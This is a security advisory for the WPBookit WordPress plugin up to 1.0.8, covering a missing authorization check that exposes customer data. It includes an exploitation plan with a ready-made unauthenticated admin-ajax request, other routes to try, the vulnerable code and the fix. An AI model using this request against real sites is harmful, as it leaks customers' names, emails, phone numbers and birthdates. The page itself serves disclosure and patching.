WPBookit <= 1.0.8 - Missing Authorization to Unauthenticated Sensitive Customer Data Exposure
Description
The WPBookit plugin for WordPress is vulnerable to unauthorized data disclosure due to a missing authorization check on the 'get_customer_list' route in all versions up to, and including, 1.0.8. This makes it possible for unauthenticated attackers to retrieve sensitive customer information including names, emails, phone numbers, dates of birth, and gender.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.0.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1980 (WPBookit <= 1.0.8) ## 1. Vulnerability Summary The **WPBookit** plugin for WordPress is vulnerable to **Missing Authorization** in its internal AJAX routing system. Specifically, the route `get_customer_list` lacks any permission or nonce checks. Because…
Show full research plan
Exploitation Research Plan: CVE-2026-1980 (WPBookit <= 1.0.8)
1. Vulnerability Summary
The WPBookit plugin for WordPress is vulnerable to Missing Authorization in its internal AJAX routing system. Specifically, the route get_customer_list lacks any permission or nonce checks. Because the plugin registers both authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) hooks for its central routing handler, any user (including unauthenticated visitors) can invoke the get_customer_list action. This results in the exposure of sensitive customer data, including full names, email addresses, phone numbers, dates of birth, and gender.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpb_ajax_get(registered viawp_ajax_nopriv_wpb_ajax_get) - Route Name:
get_customer_list - Method:
GET(orPOSTsince$_REQUESTis used in the handler) - Authentication: Unauthenticated (No login required)
- Preconditions: At least one customer or guest must be registered in the system for the data to be returned.
3. Code Flow
- Entry Point: In
core/admin/classes/class.wpb-admin-routes-handler.php, theevent_Handler()function registers:add_action( "wp_ajax_wpb_ajax_get", [ $this, 'wpb_ajax_get' ] ); add_action( "wp_ajax_nopriv_wpb_ajax_get", [ $this, 'wpb_ajax_get' ] ); - Routing Logic: When
wpb_ajax_getis called, it identifies the route from theroute_nameparameter:$route_name = isset($_REQUEST['route_name']) ? sanitize_text_field(wp_unslash($_REQUEST['route_name'])) : ''; - Permission Check Failure: The handler only enforces permissions if a
permissionkey is defined for the route in the route configuration:if (isset($route['permission']) && !empty($route['permission'])) { if (!is_user_logged_in() || !current_user_can($route['permission'])) { // Error thrown } } - Target Route: In
core/admin/classes/class.wpb-admin-routes.php, theget_customer_listroute is defined without apermissionornoncekey:'get_customer_list' => [ 'method' => 'get', 'action' => 'WPBOOKIT_Customer_Controller@get_customer_list', 'module' => 'customer-controller', 'dependency' => array(...) ], - Sink: The
call($route)method is invoked, which executesWPBOOKIT_Customer_Controller::get_customer_list(), returning the customer database to the requester.
4. Nonce Acquisition Strategy
According to the code in core/admin/classes/class.wpb-admin-routes-handler.php, no nonce is required for GET requests handled by wpb_ajax_get.
- The
wpb_ajax_postmethod checksif ($route['nonce'] === 1). - The
wpb_ajax_getmethod omits this block entirely. - The
get_customer_listroute inclass.wpb-admin-routes.phpdoes not define anoncekey regardless.
Conclusion: No nonce acquisition is necessary for this exploit.
5. Exploitation Strategy
The exploit involves a single HTTP GET request to the AJAX endpoint.
Step 1: Request Sensitive Data
Send a GET request to retrieve the customer list. We include DataTable parameters (draw, start, length) because the backend controller (implied by Customer.js) likely expects them for pagination.
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=wpb_ajax_get&route_name=get_customer_list&draw=1&start=0&length=10 - Method:
GET - Headers: None required.
Expected Payload (in response JSON):
The response should be a JSON object containing a data array. Each object in data will contain fields such as:
idnameemailphonedob(Date of Birth)genderprofile_img
6. Test Data Setup
To ensure the exploit returns data, at least one customer must exist in the database. Since unauthenticated users cannot usually register customers, we must set them up as an administrator first.
- Login as Admin.
- Navigate to WPBookit > Customers.
- Create a test customer with specific data:
- First Name:
John - Last Name:
Doe - Email:
johndoe@example.com - Phone:
1234567890 - DOB:
1990-01-01 - Gender:
Male
- First Name:
- Alternatively, use WP-CLI to insert a record into the likely customer table (usually
wp_wpb_customersor similar, checkwp db tables).
7. Expected Results
- Success: The HTTP response status is
200 OK. The body is a JSON object withdatacontaining the customerjohndoe@example.comand his PII. - Failure: The HTTP response status is
403 Forbiddenor401 Unauthorized, or thedataarray is empty (if no customers were created).
8. Verification Steps
After performing the HTTP request:
- Verify the JSON structure matches the columns expected in
core/admin/assets/src/module/Customer.js. - Use WP-CLI to confirm the data retrieved matches the database:
(Note: verify exact table name usingwp db query "SELECT * FROM wp_wpb_customers;"wp db tables | grep wpb)
9. Alternative Approaches
If get_customer_list is restricted for some reason (e.g., a silent patch), try other routes defined in class.wpb-admin-routes.php that also lack permission checks:
- Guest List:
route_name=get_guest_list - Booking List:
route_name=booking_list(Note: this route hasnonce => 1in config, butwpb_ajax_getmight still ignore it due to the missing check in the handler). - Booking Types:
route_name=get_booking_type(May reveal business-internal service details).
Summary
The WPBookit plugin for WordPress (versions 1.0.8 and earlier) exposes sensitive customer data because its central AJAX routing system lacks authorization and nonce checks for the 'get_customer_list' route. This allows unauthenticated attackers to retrieve a database of customer information, including full names, email addresses, phone numbers, dates of birth, and gender.
Vulnerable Code
// core/admin/classes/class.wpb-admin-routes-handler.php:21 public function event_Handler() { add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] ); add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] ); add_action( "wp_ajax_wpb_ajax_get", [ $this, 'wpb_ajax_get' ] ); add_action( "wp_ajax_nopriv_wpb_ajax_get", [ $this, 'wpb_ajax_get' ] ); } --- // core/admin/classes/class.wpb-admin-routes-handler.php:151 // Handler only enforces permissions if a 'permission' key is defined for the route if (isset($route['permission']) && !empty($route['permission'])) { if (!is_user_logged_in() || !current_user_can($route['permission'])) { $error = __('You do not have permission to perform this action.', 'wpbookit'); throw new Exception($error, 403); } } --- // core/admin/classes/class.wpb-admin-routes.php:143 'get_customer_list' => [ 'method' => 'get', 'action' => 'WPBOOKIT_Customer_Controller@get_customer_list', 'module' => 'customer-controller', 'dependency' => array( IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php", IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-page.php", IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-customer.php", ) ],
Security Fix
@@ -147,6 +147,7 @@ 'get_customer_list' => [ 'method' => 'get', 'action' => 'WPBOOKIT_Customer_Controller@get_customer_list', + 'permission' => 'manage_options', 'module' => 'customer-controller', 'dependency' => array( IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php",
Exploit Outline
The exploit is achieved by sending a single unauthenticated HTTP GET request to the WordPress AJAX endpoint. 1. Target the endpoint: /wp-admin/admin-ajax.php 2. Set the 'action' parameter to 'wpb_ajax_get' (which triggers the vulnerable nopriv handler). 3. Set the 'route_name' parameter to 'get_customer_list' (which lacks any 'permission' or 'nonce' definition in the plugin's route configuration). 4. Include standard DataTable parameters (e.g., 'draw=1', 'start=0', 'length=10') to ensure the backend controller processes the request and returns the paginated data. 5. The server will respond with a 200 OK and a JSON object containing a 'data' array populated with customer PII (names, emails, phones, DOBs).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.